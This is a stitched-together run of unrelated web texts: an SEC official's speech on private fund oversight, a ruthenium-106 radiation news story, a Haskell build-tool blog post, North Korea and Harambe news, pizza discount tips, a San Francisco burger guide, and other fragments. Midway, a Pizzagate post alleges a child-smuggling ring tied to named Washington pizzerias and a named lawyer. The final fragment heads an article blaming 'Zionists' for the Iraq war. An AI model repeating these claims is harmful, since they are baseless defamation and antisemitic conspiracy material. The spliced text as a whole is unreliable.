For example, last year the Division of Investment Management created its Risk and Examinations Office (“REO”). REO is a multi-disciplinary office staffed with analysts with strong quantitative backgrounds, along with examiners, lawyers and accountants. REO intends to conduct rigorous quantitative and qualitative financial analysis of the investment management industry, strategically important investment advisers and funds. REO, in collaboration with the DERA, is using Form PF data to develop risk-monitoring analytics, as well as to provide internal periodic reports regarding the private fund industry and particular market segments.
Division staff also will use Form PF data to inform policy and rulemaking with regard to private funds, and we intend to use aggregated, non-proprietary data in our consultative work with other securities regulators on issues of mutual interest. Similarly, other divisions are beginning to utilize this data to advance their missions. For example, the Commission’s Asset Management Unit of the Division of Enforcement is working with DERA to develop analytic tools to integrate Form PF data into research and due diligence related to investigative work and other enforcement matters. Also, the OCIE anticipates using the information collected on Form PF for, among other things, conducting pre-examination research and due diligence.
That said, I know that the hedge fund industry has raised concerns about the confidentiality of Form PF data. However, I can reassure you that the Commission takes the protection of the confidentiality of this information very seriously. To comply with enhanced confidentiality provisions established under the Dodd-Frank Act with respect to Form PF, Commission staff has developed a secure filing environment for Form PF to protect the information when and after it is filed. In addition, we have established an inter-Divisional steering committee to address internal data use and create a comprehensive policy on access to and use of Form PF data.
Our experience with Form PF data is in its early stages and the utility of the data collection will develop as the collective experience with the information evolves. Of critical importance to expanding the utility of the data is our confidence in the information provided by filers. Division staff is proactively trying to improve data quality by, for example, issuing FAQs on interpretive issues that commonly arise from filers – in fact, we most recently updated our FAQs last month.[12] During this process, the staff has benefited immensely from the open and continuous dialogue with you, and we want to continue that practice.
Industry Outreach
As a complement to the data that we receive, we are working to improve our awareness of the industry through a hands-on outreach initiative. While data is important for providing census information, identifying aberrational performance and systemic trends, it does not give you a sense of a firm’s culture and approach to compliance. In order to get a first-hand view of advisers’ systems, controls and culture, REO staff, OCIE leadership and I have met with senior management of many larger, strategically important advisers – many of which have an institutional line of business through which they manage private funds. Also, our colleagues in OCIE have begun their presence exam initiative, which is part of an outreach to engage directly with newly registered advisers to private funds.[13] This initiative is focused on five key areas of risk: marketing, portfolio management, conflicts of interest, safety of client assets and valuation. OCIE is still in the engagement phase of this initiative and expects to report back to the industry at the conclusion of the program. During a panel later this morning, I believe my colleague from OCIE will be sharing with you some of the preliminary findings and observations from that initiative.
We hope to continue directly interacting with you and your colleagues, and by working together better ensure that the industry operates in the best interests of clients and fund investors.
Other Regulatory Initiatives
After several years of diligent work, I am happy to report that the Dodd-Frank mandated rulemaking directly related to investment advisers is complete. While there are outstanding proposals on the Volcker Rule and incentive compensation, each of which may impact investment advisers that charge performance fees and/or accept investments from or are owned by banks or bank sponsored funds, the Division will attempt to turn some of its attention to other regulatory initiatives regarding advisers to hedge and other private funds.
As I have previously announced, one of our longer term initiatives is a review of the rules that apply to private fund advisers. Although the principles-based Advisers Act regime has largely stood the test of time, despite being applied to an increasingly diverse set of adviser business models, the staff is evaluating whether Advisers Act rules require modernization to reflect the current business and operations of private fund advisers. This initiative has been spurred, at least in part, by the inquiries and feedback that we receive from industry stakeholders, especially from new registrants, and your input helps inform our assessment. As such, please continue to bring your issues and challenges to our attention.
As one might expect, a review of the Advisers Act regime is no small task and the process, along with any potential rulemaking, will take time to run its course to ensure that we get it right. That being said, the Division has and will actively consider providing guidance where appropriate. For example, with respect to the Advisers Act custody rule, we are open to public input on issues and concerns regarding implementation of the rule. Just last month the Division’s staff issued guidance regarding the application of the custody rule to private stock certificates, which rightly focused on investor protections provided by fund audits.[14] Although we understand that this guidance may not end our work in regard to the custody rule, it does represent a significant step forward and is an example of our efforts to clarify the application of the rules, while at the same time promoting robust investor protection.
Compliance – Insider Trading
Earlier, I touched upon our outreach initiative designed to get a sense of an adviser’s culture of compliance. While our experience thus far generally confirms that most investment advisers attempt to do the right thing in fulfilling their regulatory compliance obligations, the recent highly-publicized string of insider trading cases in the hedge fund industry highlights the need for improvement. During one of today’s panels, you will hear about good practices to improve controls on the misuse of material non-public information, so I will keep my remarks high-level.
To borrow a recent quote from Harvey Pitt, a former Chairman of the Commission, “[w]hen it comes to compliance, you have to live, eat, breathe and drink it.”[15] This observation is particularly fitting with respect to the prevention of insider trading. As you know, the Advisers Act requires advisers to establish, maintain and enforce written policies and procedures reasonably designed to prevent misuse of insider information.[16] In addition, Advisers Act provisions require, among other things, the adoption of a written code of ethics that sets forth standards of business conduct and that requires compliance with federal securities laws. However, the prosecution of alleged insider trading continues to be an area of active enforcement by the Commission. Indeed, the prevalence of insider trading negatively impacts investor confidence.[17]
In light of these cases, advisers should revisit their compliance policies and procedures and assess whether they effectively provide a comprehensive framework for the identification and prevention of the misuse of non-public information. In addition, advisers should provide continuous training and guidance to ensure that employees know what to do—or, more importantly, what to refrain from doing—when they come into possession of inside information.
Conclusion
I appreciate the opportunity to share my thoughts on these issues of interest to investment advisers and the larger hedge fund community. The Division works to protect investors, promote informed decision making, and facilitate appropriate innovation in investment products and services through regulating the asset management industry. Thank you for your time this morning.After weeks of denying its existence, the Russian government this week acknowledged the strange surge of radiation that billowed over Europe in September.
The French nuclear safety regulator IRSN first detected the radioactive element ruthenium 106 in the air in late September, tracing its origins to the Ural Mountains in the border region between Russia and Kazakhstan. Other European cities like Stockholm, Milan, and Budapest also began picking up radiation traces.
Ruthenium is a rare transition metal. The ruthenium 106 isotope has a half-life of 373 days and is used to treat cancers like melanoma. Since it doesn’t occur in nature, any measured ruthenium 106 is assumed to originate from human activity.
It’s also a byproduct of splitting uranium 235 in nuclear reactors — a hint of the cloud’s possible origin.
IRSN, which said the radiation was no longer detectable as of October 13, concluded that it was an accidental radiation leak and estimated that the amount of radiation released at the source was somewhere between 100 and 300 terabecquerels. That’s enough to require shielding precautions and special cleanup procedures in the region near the origin, but was not a threat to human health farther away. (A terabecquerel is equal to a trillion nuclear disintegrations per second, a measurement of the radioactivity of a substance.)
Patrick Regan, a professor nuclear physics at the University of Surrey in the United Kingdom, told the Science Media Centre that the radiation most likely originates from a nuclear waste reprocessing plant.
“If it was a reactor leak or nuclear explosion, other radioisotopes would also be present in the ‘plume’ and from the reports, they are not,” he said.
German nuclear observers also ruled out a nuclear power plant accident as the source of the radiation.
For their part, Russian officials denied detecting any leaks or elevated radiation at any of their facilities. This was very odd given that 43 nearby countries reported elevated levels of ruthenium 106.
But finally, in response to an information request from Greenpeace, the Russian meteorological agency Roshydromet released a report this week that acknowledged measurements of high ruthenium 106 levels.
Russian authorities said atmospheric radiation levels were higher outside of Russia, indicating that the source of the leak wasn’t inside the country. However, the Institute of Nuclear Physics in Kazakhstan reported no radiation leaks from any of its facilities.
“The published data is not sufficient to establish the location of the pollution source,” Maxim Yakovenko, the head of Roshydromet, said in a statement to the New York Times.
Greenpeace Russia said they are now asking the public prosecutor to investigate a possible cover-up of a radiation leak.
Russian officials did report high radiation levels at two monitoring stations near the Mayak nuclear facility in the Chelyabinsk region. The site was used to make fuel for nuclear weapons and nuclear reactors, and in 1957, suffered a massive explosion that created the worst nuclear disaster in history until Chernobyl.
The Mayak facility stopped making plutonium for nuclear weapons in 1987, but still reprocesses spent nuclear fuel from reactors. It’s also famous because U2 spy plane pilot Francis Gary Powers was shot down in 1960 while attempting to surveil it.
Still, we don’t know where this radiation came from, and other reports suggest that the Research Institute of Atomic Reactors in Dimitrovgrad, Russia — 90 miles north of Mayak — is another possible source. Given Russia’s notoriously opaque nuclear sector, we might be waiting awhile.
Correction: An earlier version of this article said a terabecquerel is equal to a billion nuclear disintegrations per second, when it is actually equal to a trillion.Summary: You can use Shake as a library to implement other build tools.
The Shake build tool is often used to define a specific build system, as an alternative to Make. But Shake is really a library, and can be used to implement other build tools. In this post I'm going to show a rough implementation of the Sake build tool using Shake.
What is Sake?
Extracted from the Sake documentation:
Sake is a way to easily design, share, build, and visualize workflows with intricate interdependencies. Sake is a simple and self-documenting build system, targeted at scientists, data analysts and business teams.
The Sake build rules are defined in YAML, and a simple example is:
create the input: help: create the input file formula: echo test > input.txt output: - input.txt convert to uppercase: help: change the input file to uppercase dependencies: - input.txt formula: cat input.txt | tr '[a-z]' '[A-Z]' > output.txt output: - output.txt
Sake build rules are simple, contain lots of help text, and are quite explicit. I can see why some users would prefer it to Shake or Make (especially as the Sake tool also produces nice visualisations and help information).
Sake on top of Shake
This section contains an implementation of Sake that can execute the file above, along with tests from the Sake repo. I'm going to intersperse the implementation along with some notes. First we give language extensions and imports:
{-# LANGUAGE OverloadedStrings #-} import Control.Applicative import Control.Exception import Development.Shake import Data.Yaml import qualified Data.HashMap.Strict as Map import qualified Data.Vector as Vector import qualified Data.Text as Text
The interesting imports are Shake (the build system) and Yaml (the parser for YAML files). Our main function loads the Sake YAML file, then defers to Shake:
main = do build <- either throw id <$> decodeFileEither "Sakefile.yaml" shakeArgs shakeOptions $ elaborate build
We are using shakeArgs to get Shake to provide command line handling for our tool. The interesting part is elaborate, which translates the Sake rules into Shake rules. We define elaborate as:
elaborate (Object x) | Map.member "formula" x = do let formula = fromString $ x Map.! "formula" let dependencies = map fromString. fromArray <$> Map.lookup "dependencies" x let output = map fromString. fromArray <$> Map.lookup "output" x let act = do maybe alwaysRerun need dependencies command_ [] "sh" ["-c",formula] case output of Nothing -> action act Just output -> do want output; output *>> \_ -> act elaborate (Object x) = mapM_ elaborate $ Map.elems x elaborate _ = return ()
The first case is the interesting one. We look for formula fields which indicate build rules. We extract out the fields formula, dependencies and output. We then define act which is the action Shake will run:
maybe alwaysRerun need dependencies command_ [] "sh" ["-c",formula]
If there were no dependencies, we always rerun the rule, otherwise we require the dependencies using need. Next we run the formula command using sh. Then we define the rules:
case output of Nothing -> action act Just output -> do want output; output *>> \_ -> act
If a Sake rule has no output field, then it is always run, which Shake specifies with action. Otherwise we want the output (since all Sake outputs are always built) and define a rule producing multiple outputs (the *>> function) which runs act. Finally, we have a few helpers to extract the fields from the YAML:
fromString (String x) = Text.unpack x fromArray (Array x) = Vector.toList x fromArray Null = []
Note that the full Sake implementation contains additional features and error checking. However, I think it is quite nice that a reimplementation of the basics can be done in only 16 lines of Haskell. The reimplementation also supports several features that the original Sake does not, including profiling, progress reporting and staunch mode.
Conclusions
Shake is capable of implementing other build tools, and can be used as a build system in its own right, or a library supplying dependency tracking. I believe there is plenty scope for higher-level build specifications (Cabal is one example), and hope that these tools can delegate their dependency logic to Shake.— North Korea’s army said Thursday it had received approval for a “cutting edge” nuclear strike on the United States, adding that the situation on the peninsula had reached an explosive stage.
The threat followed the North’s move Wednesday to ban South Korean workers from a joint industrial complex that has long stood as a symbol for the tenuous peace on the peninsula. South Korea’s defense minister said Seoul would consider military action if the safety of workers is put at risk.
Those moves, paired together, raised concerns in the region about the prospect for armed conflict amid uncertainty on whether the North is blustering, bluffing, or rather becoming more dangerous than it’s been since the Korean War.
In recent weeks the North has upped its hostile rhetoric while also pulling the plugs on its few lines of communication with the South, including at Kaesong Industrial Complex and a military hotline along the demilitarized border.
The statement issued Thursday followed up on a threat last month to launch preemptive nuclear strikes on the United States and its allies, including South Korea.
The North blamed Washington for its “hostile” policy and said its resentment toward the United States has reached an “irrepressible phase.”
“The moment of explosion is approaching fast,” the North said. “No one can say a war will break out in Korea or not and whether it will break out today or tomorrow.”
Some analysts say the North is using the threats as a way to raise tensions and pressure Seoul or Washington into negotiations. For new South Korean President Park Geun-hye, the next days will be critical in determining the future of Kaesong, where North and South Koreans worked side by side until Wednesday.
Experts said the North may be reluctant to close the Kaesong complex — located six miles north of the heavily fortified border. They said the North may instead hope to spark alarm from its richer neighbor, whose people typically view Pyongyang as a worrisome but far-removed threat — one unlikely to upend their own lives.
But the North’s decision to ban entry presents an immediate and “serious” obstacle to the roughly 120 South Korean businesses that operate at Kaesong, a South Korean government spokesman said.
North Korea has tried in recent weeks to boost tensions on the peninsula, nullifying an armistice agreement, declaring a “state of war” and vowing to produce new fissile material for its nuclear weapons. But the Kaesong move marks an even more forceful step, showing the North’s willingness to meddle with — and potentially lose — a cash cow that generates between $20 million and $100 million annually for the authoritarian government, according to estimates from economists.
The North banned entry to Kaesong at least once before, for a matter of days in 2009 during joint military exercises between the United States and South Korea. But officials in Seoul and Washington say the situation on the peninsula is now more volatile, with the North controlled by a relatively new leader, Kim Jong Un, and the South promising an immediate military counterstrike if provoked.
Kaesong, which opened in 2004, is the legacy of a far calmer period, when back to-back liberal governments in Seoul thought economic engagement would open the North to become more affluent and peaceful.
The complex is a bubble for capitalism, where South Korean firms — lured by tax breaks and low-interest government loans — use North Korean laborers who earn between $2 and $3 per day. But the facility has proven only half-successful, never becoming the transformative model for broader market-economy reforms that some South Korean officials once hoped for. The North Korean government takes back a bulk of the wages earned by its 50,000 workers.
The facility, producing everything from textiles to kitchen utensils, has instead become an 800-acre symbol of the strange and tenuous peace between the Koreas. Though songs praising the ruling Kim family play on the factory loudspeakers, the electricity, |
do to get America back on track, this is the kind of substance (or lack thereof) you will find at a Trump rally. And his crowd thinks it’s delightful, because, spoiler alert: contrary to what Donald claims above, they aren’t actually smart people.By now you've heard Harambe's story, you've decided how you felt about the tragic incident, and you're upset regardless of your opinion. Just as you were getting ready to move on, the man who named Harambe wrote for CNN explaining what the gorilla's name means and how deeply Harambe's death affected him.
Dan Van Coppenolle was a special education teacher when he entered a baby gorilla naming contest in 1999, he explained. He'd just been listening to the Rita Marley song "Harambe" on the treadmill and paused when she explained what the word meant: In Swahili, Harambe means "working together, pulling together, helping each other, caring, and sharing." Though his first thought was that it was a beautiful word he wanted to share with his students, he also knew it would be the perfect name for the gorilla.
He was right: Harambe was chosen and Von Coppenolle took his sons and nephews often to the Gladys Porter Zoo in Texas where the gorilla spent the first 15 years of his life. They visited so often and "the family was so fond of Harambe that he was affectionately referred to as my adopted son," Von Coppenolle wrote.
He explained he was sad to hear Harambe had eventually been transferred to Cincinnati and even sadder to hear about his death, but he believes "Harambe's name — and even his death — can serve as a lesson for all of us." He hopes the gorilla's name will forever serve as a reminder to humans (who "have become distant from nature, and increasingly from each other") to work together in times of sadness.
You can read Von Coppenolle's lovely essay in full on CNN and donate to the Harambe Fund here.
Follow Tess on Twitter.Papa Johns Discount Tips
Papa John's offers a number of ways to save, including rewards programs and money-saving combo deals. You can save even more by using promo and coupon codes.
Take Advantage of Papa John's Specials
Head to the homepage, where you'll find the latest Papa John's offers on meals, side dishes and combos. The site has an entire page dedicated to special meal deals. You'll need to provide your address after you navigate to the deal page so that Papa John's can show you information about special local deals.
Join the Papa John's Rewards Program and Earn Points
Signing up for the rewards program is an easy way to save on Papa John's menu items:
You'll earn one point for every $5 you spend and can redeem your points for menu items such as breadsticks, brownies and pizza
You'll even get a 10-point bonus as a birthday gift, and you can earn extra points by ordering from your favorites list
Use the App to find Papa John's Coupons and Deals
Never miss a money-saving deal again by using the Papa John's app to stay on top of the latest offers and coupons. Download the Papa John's app and you'll have access to the latest deals right on your cell phone. You can place orders and apply coupons quickly and conveniently.
Sign Up to Receive Offers via Email and Text
After you sign up, Papa John's will send valuable promo codes and coupons directly to your inbox or cell phone. You'll also get information about new products, special deals and money-saving promotions.
Look Out for Sports-Related Ways to Save
Papa John's frequently has special promotions related to sports. Baseball lovers, for instance, can score pizza at a 40% discount the day after any MLB player hits a grand slam.Another connection has been made on the international child smuggling / pedophile ring being exposed thanks to the wikileaks revelations.
The trail is still hot, there are faaar too many leads for a single person to follow and they are clearly aware that the net is closing.
If you're not caught up on the comet ping pong / pizza situation please see my previous posts for context :
This will be a short post focused on filling in an important gap in the info being spread about this particular block of Clinton/PizzaPAC friendly businesses.
Fun fact, Besta is "beast" in Portuguese. Beast Pizza?
Portugal isn't particularly known for pizza, but certain circles know that the age of consent is 14 in Portugal.
Besta Pizza is 2 doors down from Comet Pizza :
After all of the internet detectives examining the businesses in this area, and pointing out the known pedophile symbol in their logo, Besta Pizza decided to remove the symbol from their logo a few days ago
After seeing it written elsewhere that Besta was also owned by the same owner as comet pizza, I initially accepted that without digging deeper. After all, he already definitely owns 2 other buildings in that street, why not 3?
I double checked the details myself after they changed their logo:
Heres how
Visit the DC department of the Department of Consumer and Regulatory Affairs, and find their business license verification system and do a search for "besta" here https://eservices.dcra.dc.gov/BBLV/Default.aspx
License id 930515000033, Corporate Name Uptown Pizza, Inc, Trade Name Besta Pizza
Expiring at the end of this month
Alright, what do we get if we look up "Uptown Pizza, Inc"?
A corporation search on the same site requires a (free) login, and it can be found here - screenshotted below :
And then if you click the business name it gives you more detail including the agent name
The registered agent for Uptown Pizza Inc is Andrew Kline.
That name sounded familiar already but I couldn't pick it, but after a little bit of google-fu I stumbled across this article from Vanity Fair in 2011 (archived copy)
The whole article is worth a read but here's the critical part :
In the winter of 2006, Assistant U.S. Attorney James Genco began writing an indictment which would accuse Martinez, Paris, Forbes, Shanaya Hicks (a.k.a. “Toni”), Kazimierz Sulewski, Christopher Fanning, and four more of, among other crimes, a conspiracy to use interstate facilities (cell phones and telephone wires) to promote prostitution. Seeking some additional input, “Genco reached out to Washington,” Scates says. “That’s when Andrew Kline got involved.”
Special Litigation Counsel Andrew Kline, a Clinton appointee with an M.A. in human rights from Harvard’s Kennedy School of Government, was one of four attorneys in the Human Trafficking Prosecution Unit of the Department of Justice, in the Civil Rights Division. It fell upon the curly-haired, bespectacled Kline (now a senior adviser in the executive office of the president) and one other colleague to provide U.S. attorneys nationwide with training on prosecuting trafficking cases.
I'm not directly accusing Andrew of anything.
I just want these important facts made clear on the blockchain:
Besta Pizza logo contained known pedophile symbolism
Best Pizza logo removed symbolism within the last few days
Andrew Kline owns is the registered agent for Besta Pizza.
is the registered agent for Besta Pizza. Andrew Kline worked/works as an attorney in Human Trafficking Prosecution Unit of the DoJ
Andrew Kline was appointed to this position by Bill Clinton
Verify for yourself. See my past posts and twitter for more information.
Final update : My bad, as others have pointed out Andrew Kline is the registered agent, not the owner. Please see the updated research in the git repository for more recent information.The origins of the burger are mysterious: Was it Fletcher Davis in Athens, TX who first served ground beef on a bun? Louis' Lunch in New Haven, CT? One of the many other claimants? The history is meaty, but I dare say the burger as we know it today was perfected over more than a century, so who really cares. Now the item is nearly obligatory on American menus, with chefs playing off contemporary burger idioms from the fast-food burger to the backyard burger to the steakhouse burger. These 25, most in San Francisco though with several necessary nods to Oakland, are among the best around.
4505 Burgers & BBQ
The 4505 burger was perfected over years by chef and butcher Ryan Farr, and now it has its own restaurant, where it stars on the menu alongside some very solid BBQ. It's delicious, well seasoned and well sauced, made with grass-feed beef, and served on a crisp, griddled and butter bun with lettuce, onion, and gruyere. (You can also make it a double, or add bacon or an egg). They dub it the Best Damn Cheeseburger for a reason, and you won't be disappointed. (And not that anyone's arteries need this, but you might also, at least once, want to try the off-menu "Big Mac," which is two cheesy burger patties sandwiched around their fried mac-and-cheese patty that has hot-dog bits in it.) —Jay Barmann
705 Divisadero (at Grove)
Biergarten
The obvious answer to where to go if you get out of work early (or if you're funemployed) and you're near Hayes Valley is Biergarten. On Wednesdays, they serve a half pound Prather Ranch burger, the toppings on which change every week (the one pictured above featured a pile of crispy shallots, sweet peppers, and smoked blue cheese). Every other day of the week, there's also their Gnomeburger, a quarter-pounder with swiss cheese, avocado, red onion, arugula, jalapeño and a garlic and herb aioli, served on "an organic Firebrand challah slider bun." Both are seriously goddamn good. Jay Barmann
424 Octavia Street at Fell
Black Sands Brewery
Lower Haight brewpub-and-more Black Sands has tinkered with their menu throughout, but the "smashed double double" burger shows no signs of departure. Don't confuse this two patty creation (topped with lettuce, American Cheese, and "special sauce") with its In-N-Out inspiration: This is the one that's $12 ($2 more if you add bacon or an egg), and you won't be getting a chocolate shake — try a black IPA instead. —Caleb Pershan
701 Haight Street at Pierce
Photo: Janice C./Yelp
Burritt Room + Tavern
In addition to having a fancier steak-and-chop-house situation in the Tavern dining room, the Burritt Room bar serves a great, satisfying "Animal Style" (there's that In-N-Out hat tip, again) Burritt Burger ($15) with Tillamook sharp cheddar, caramelized onions, and 1000 Island dressing "special sauce." It goes terrifically well with a cocktail, and is a great, under-the-radar option when you need to grab food next to Union Square. Jay Barmann
417 Stockton Street
Cafe du Nord burgervia Facebook
Cafe du Nord
Cafe du Nord's food menu from Chef Thomas McNaughton — specifically the cioppino, the Parker House rolls, and the big bad Burger du Nord ($16.50) with melty cheddar, lettuce, pickles, and "secret sauce" is a solid contender for your late night drunk meal, as the full kitchen is open until 1:00 a.m. — Caleb Pershan
2170 Market Street at Sanchez
Photo: Facebook
Causwells
To create their memorable, addictive Americana burger ($15.99), Causwells took a cue from fast food, and simply dressed up the ingredients a bit for the SF palate. You've got two juicy, dry-aged patties layered with American cheese, topped with "Causwells sauce" (in this case house-made Worcestershire mixed with house-made Thousand Island), with lacto-fermented pickles and crispy onions on a griddled bun. It's some drippy, delicious stuff. Jay Barmann
2346 Chestnut Street
Photo: Georg Lester
Epic Steak
Epic calls their offering a "Bacon-Cheddar Wagyu Burger," but for those averse to either they're happy to offer it plain, they tell us. For your $17, you get a coarsely ground patty made with house-ground American Wagyu raised by former Silicon Valley-er Clydene Bultman on Thompson River Ranch in Marion, Montana. Beware: The burger is only offered on their brunch and lunch menus, and when asked if they'd let you order it at dinner, we got an "ummm" followed by silence. But for the "kind of steakhouse burger that all steakhouses should have, but sadly don't" (as Jay Barmann put it) a trip during the day might be worthwhile. -- Eve Batey
369 The Embarcadero
Photo: Courtesy of Fog City
Fog City
Fog City serves classic American cheeseburger realness, if you are willing to accept "house-made American cheese" and "smoked tomato aioli" as classic. On top, you'll find the standard dill pickles, and you can ask for added tomato and onion — making for a haute big mac with beef you actually want to eat. -- Eve Batey
1300 Battery Street at the Embarcadero
Photo: Steph L./Yelp
Gott's Roadside
Another very humble, basic, American burger (which here comes in a few varieties) can be found at this Ferry Building spot, where people flock day after day to get their fix of the best fast-food-like burger this side of In-N-Out. In addition to a basic American-cheese-secret-sauce burger, you can opt for the Western Bacon Blue Ring, which comes topped with a fat onion ring, bacon, pickles, red onion, and blue cheese. Jay Barmann
Ferry Building
Photo: Food GPS
Heirloom Cafe
What began as an "off-menu" item at this wine-centric Mission bistro is now a well known, clearly announced option upon arrival, though it's true that it does not appear on the printed menu. The delicious, red-wine-friendly masterpiece is made with mildly stinky Epoisses cheese mixed into the patty (with no cheese on top). It's an incredibly juicy, uniquely flavorful burger that tastes redolently of cheese, and I can't wait to have one again. Jay Barmann
2500 Folsom Street
The Hi Tops burger pictured here in a form known mostly to the carb-conscious, with a salad instead of fries. Photo: A.W./Flickr
Hi Tops
Probably the best burger in the Castro is the bacon-beef burger at Hi Tops ($13), in which you have a classic combo of beef and bacon, but the bacon is always crisp and the patty is always juicy. The burger comes topped with Gruyere unless you say otherwise, as well as onion jam and aioli, and suffice it to say it is one of the ultimate hangover meals in the 'hood. Jay Barmann
2247 Market Street between Noe and Sanchez
The Impossible Burger at Jardinière. Caleb Pershan/SFist
Jardinière
I don't eat land animals, but I hate veggie burgers so much that Jay mocked me to you last July. But, you guys, the Impossible Burger at Jardinière isn't like any veggie burger I've ever had. It feels, as Sylvester says, mighty real. You can enjoy Caleb and my he said/she said about the all-vegan burger here — and we even debated about including it on this list. Is a burger still a burger if it contains no cow? Is the Impossible just a novelty act? You could argue both of those points successfully. But I'll tell you this: Days later, I'm still thinking about that burger, and am plotting a return (on my own dime) to snarf it down again. It's really, really good, and feels so much like a burger that another woman at Jardinière's bar (which is where it's served — it's also at Cockscomb, but I haven't had their version yet) says "this is giving me an existential crisis." I don't eat animals because I have a strong emotional attachment to living, breathing creatures, not because I don't think meat is yummy (because it is!). If I can have my burger and eat it too, then, well, that's really something. — Eve Batey
300 Grove Street at Franklin
A KronnerBurger double. Courtesy of KronnerBurger
Kronnerburger
Salty, rare, and practically bone marrow sweet even without the addition of bone marrow (which is an option) the Kronnerburger ($14) might well be the Bay Area's foremost beef treat. Meat pilgrims have followed the eponymous Chris Kronner as he popped up here and there, but now Oakland is the place to get your fix. Everything up to the lettuce — pure iceberg — has been carefully calculated, so don't ask for "well-done." And, if it's not meat you seek, their veggie burger is its own kind of marvel. —Caleb Pershan
4063 Piedmont Avenue between Glen Ave & 41st Street, Oakland
Photo: Jay Barmann/SFist
Maven
It's one of those "why aren't more people doing this?" situations: The secret to Maven's delicious and uniquely spiced burger ($17) is a few dashes of Angostura bitters, which goes right into the meat. The bottle actually says it's great with meat, but those bitters are typically always trapped on the booze shelf. Anyway, it's one of the tastiest bets in town, topped with Muenster cheese and house pickles, and it's been a hit since this place opened in 2012. — Jay Barmann
598 Haight Street at Steiner
(Photo: Brian Smeets)
Mission Bowling Club
Bowling and burgers go together like bowling and burgers, and the granulated burger patty technique that chefs Danny Bowien and Anthony Myint perfected at Mission Street Food is used to great effect at SF's answer to your suburban alley. Cooked in a shallow pool of beef tallow to form a perfect crust, the patty is nearly subsumed by Monterey Jack cheese, caramelized onions, and caper aioli, all within a bun that's been toasted to perfection. Best of all, a buck from this $15 burger goes to benefit local non-profits, so you're doing good even as you stuff your face. -- Eve Batey
3176 17th Street at South Van Ness
The Marlowe Burger: Adele F./Yelp
Marlowe/Park Tavern/The Cavalier
You can find the Marlowe Burger ($16) at two of Anna Weinberg's area restaurants, Park Tavern and Marlowe, which means Chron critic Michael Bauer doesn't have to travel far to score the Niman Ranch and lamb patty over which he regularly rhapsodizes. Drenched in horseradish aioli and topped with caramelized onions, cheddar cheese and bacon, it's accompanied by some of our favorite SF french fries, making this can't-miss lunch or dinner. — Eve Batey
Marlowe: 500 Brannan Street at 4th Street; Park Tavern: 1652 Stockton Street at Filbert Street; The Cavalier: 360 Jessie Street at 5th
Photo via Mezcalito.
Mezcalito
Mezcalito has only been open for just over a month, but it's already stolen a bit of our hearts. In addition to the huge selection of mezcals (yes please), the restaurant offers fish tacos and hamachi ceviche. But it is perhaps the gouda burger that has drawn the loudest praise. Kept pretty simple with toppings of caramelized onions and, of course, gouda, the burger elicits rave reviews from Yelpers who alternatively call it the best burger in the city or the best burger ever. Think high-quality ingredients cooked and dressed to perfection. And it will taste even better with all that delicious mezcal to wash it down. Yum. — Jack Morse
2323 Polk Street, between Union Street and Green Street
Nopa's Burger via Facebook
Nopa
Nopa's relatively highbrow offering in the burger category still packs them in. For $17 expect a lean but formidable grass-fed patty grilled over wood, topped with house-pickled onions, homemade ketchup, and set beside some of the better fries in town. Lushes are advised to keep the Nopa burger in mind as a late(r) night option: The kitchen keeps cooking and the bar keeps pouring those drinks until 1 a.m. — Caleb Pershan
560 Divisadero Street at Hayes Street
1/2 pound Plum Bar burger via Facebook
Plum Bar
A burger from the Daniel Patterson Group? If that foodie cred alone doesn't sell you, the genuine article itself is sure to at Oakland's Plum Bar. You're going in for a1/2 pound cheeseburger ($14) with bread and butter pickles, lettuce, and caramelized onion. Yes, you would like smoked fries with that, so pony up for the world's most expensive "happy meal" ($25) — which is true to the McDonald's original in terms of value: It comes with bourbon and a beer. —Caleb Pershan
2216 Broadway between Franklin Street and Grand Avenue, Oakland
Orange S. Via Yelp
Popson's
Succeeding where others have come up short in recreating the Shake Shack-style, thin patty, all American cheeseburger, Popson's is a totally welcome addition to mid-Market. The house-ground Five Dot Ranch beef tastes supremely beefy and rich without dripping grease, and the standard toppings (American cheese, special sauce, onions, lettuce) are just right. Even the seasoned fries are pretty good. I dare say it gives In-N-Out a run for their money. —Jay Barmann
998 Market Street at Mason Street and 330 Townsend Street between 5th and 4th Streets
Photo courtesy of Prospect
Prospect
Prospect's burger feels even more exclusive when you try to order it for dinner and hear, nope, it's only available on their bar and lunch menus. A patty of house-ground Brandt Family Beef dressed in little gem lettuce, heirloom tomatoes, pickles, and "special sauce" between two slices of housemade bun, the simple, perfectly made burger comes on its own to you for $12.50. Toss on some Wagon Wheel cheddar for $2 more, bacon for an extra $3, and/or add fries for $5 to get yourself a real party. — Eve Batey
300 Spear Street at Folsom
Joseph V. via Yelp
Rambler
Guests at the Hotel Zeppelin and anyone passing through the area need look no further for dinner than the newly opened Rambler, whose burger ($17) is a thing of mouthwatering beauty: A thick, expertly grilled beef patty with white cheddar cheese and the brilliant addition of red onion bacon jam. Rambler opened just this month, in the handsome space that once belonged to Wolfgang Puck's Postrio, accessible by its own door. Executive chef Robert Leva (formerly of Salt House and Redd in Yountville) is to thank for the burger, and Rambler itself comes from the Hat Trick Hospitality team of Adam Snyder, Hugo Gamboa, and Andy Wasserman, who have previously been behind The Brixton, Redford, Aventine, and Sabrosa. —Caleb Pershan
545 Post Street between Mason and Taylor
Photo of the True Deluxe Burger via Yelp.
True Burger
Sometimes when you want a burger, you want a burger — no frills, just a classic done to perfection. That's what you'll find at Oakland's True Burger, a spot which, as the name suggests, focuses on serving up hamburgers in their most iconic form. The Trueburger and Cheesy Trueburger come in at $6.50 and $7.50 respectively, so grubbing down here won't break the bank (fries cost extra, however). Vegeterians, don't worry, they've got something for you: Portobello mushroom with smoked cheese served up on a bun. The True Deluxe drops that veggie patty on top of a regular patty, letting you chow down on the best of both worlds. East Coast transplants might see some Shake Shack-like trappings, but there's no monopoly on the classics. — Jack Morse
4101 Broadway, at 41st, Oakland
Photo: Facebook
Umami Burger
This Los Angeles-based chain took SF by storm a couple years back, and while the raves for their burgers haven't flowed with abandon here the way they did when this place debuted in SoCal, they still make damn good burgers with a lot of creative toppings and various fixings. Each location has a slightly different menu I like the Manly, available at most, with beer cheddar cheese, bacon lardons, and smoked salt onion strings and they feature out-of-the-box versions of classics, like the Throwback: two 3.5-oz seared beef patties with white cheddar cheese, miso mustard, Umami house ketchup, soy pickles, and McDonalds-style minced onions. Jay Barmann
242 King Street and 2184 Union Street, SF; 2100 Franklin Street, OaklandCIA Analyst Reveals Zionists’ Role in Planning U.S. Invasion of Iraq By Dave Gahary According to a retired CIA analyst, new evidence has emerged revealing the full extent to which Israel was involved in the direct planning of America’s aggressive war on Iraq that was initiated by President George W. Bush after the Sept. 11, 2001, attacks on New York and Washington.
